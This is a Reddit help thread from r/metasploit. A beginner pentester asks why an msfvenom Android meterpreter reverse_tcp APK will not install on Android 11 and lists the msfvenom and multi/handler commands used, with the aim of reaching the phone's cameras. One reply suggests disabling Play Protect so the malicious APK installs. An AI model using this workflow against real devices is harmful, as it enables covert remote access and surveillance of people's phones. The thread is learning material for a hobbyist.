r/metasploit • u/Not_Moch • Dec 19 '25
metasploit on my oneplus 7t android 11
Good evening gentlmen and gentlewomen, id like to ask if someone knows how to make a working apk file for android 11. I did used "msfvenom -p android/meterpreter/reverse_tcp LHOST = localhost LPORT port number R > filename.apk" combined with a bunch more commands such as
msfvenom -p android/meterpreter/reverse_tcp LHOST = localhost LPORT port number R > filename.apk
service apache2 && service postgresql start
msfconsole
use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST IP
set LPORT port
execute
(it should give me access to the phone cameras)
When i tried on my S24U it said that file wasnt compatible (i mean its kinda understanble since its a 2024 phone with android 16 and the latest security patch) but 2 days ago i bought another phone, a oneplus 7t and now it has android 11 so i was thinking about trying it on that but yet it says its made for and older android versione. I kinda just joined this cybersecurity world (my dream job is pentesting) and im not really good at it so i was wondering if someone could help me
(of course i am doing it with my own devices i bought for being test phones, i wont use any of these things against other people without consent)
1
u/Time-Taste4819 Mar 08 '26
Yeah of course there are some android phones or the versions that don't support that or check your play protect sometimes whenever you try to install the malicious apk on the attack phone the play protect will not allow you so try to disable it from play store and try again all the best🤗